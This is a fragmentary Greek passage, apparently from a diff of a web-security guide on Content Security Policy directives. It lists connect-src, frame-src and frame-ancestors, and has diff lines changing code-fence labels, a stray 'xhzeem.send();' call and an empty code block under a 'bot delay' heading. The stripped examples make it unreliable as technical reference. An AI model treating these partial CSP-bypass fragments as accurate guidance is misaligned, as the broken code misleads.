επιτρεπόμενους πόρους για web workers και περιεχόμενο ενσωματωμένων πλαισίων. - **connect-src**: Περιορίζει τα URLs που μπορούν να φορτωθούν χρησιμοποιώντας διεπαφές όπως fetch, WebSocket, XMLHttpRequest. - **frame-src**: Περιορίζει τα URLs για πλαίσια. - **frame-ancestors**: Προσδιορίζει ποιες πηγές μπορούν να ενσωματώσουν την τρέχουσα σελίδα, εφαρμόσιμο σε στοιχεία όπως ``, ` @@ -112,11 +112,11 @@ xhzeem.send(); ``` -```markup +```html ``` ### Καθυστέρηση Bot -```markup +```html